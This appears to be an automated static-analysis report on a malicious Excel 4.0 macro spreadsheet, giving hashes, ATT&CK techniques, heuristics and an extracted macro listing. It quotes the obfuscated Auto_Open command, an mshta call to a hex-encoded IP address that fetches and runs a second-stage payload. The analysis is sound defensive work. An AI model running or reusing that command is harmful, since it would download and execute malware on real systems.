Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 63fc288990fd4b9c…

MALICIOUS

Office (OLE) / .XLS

64.4 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: fbb11b2c64f11d0f91b1e247d1d74f1f SHA-1: 9d8c615936cc9169f9671034ec6eba97a678e1a0 SHA-256: 63fc288990fd4b9c4d5e26b43da50d791c67e14208fc6ac10611763b29c40903
100 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Excel 4.0 (XLM) macro-enabled spreadsheet that uses an Auto_Open macro to execute a command. The macro attempts to obfuscate a URL, which is reconstructed as 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html'. This command likely downloads and executes a second-stage payload from the specified URL. The document also contains a lure to enable macros, indicating a phishing or social engineering attempt.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes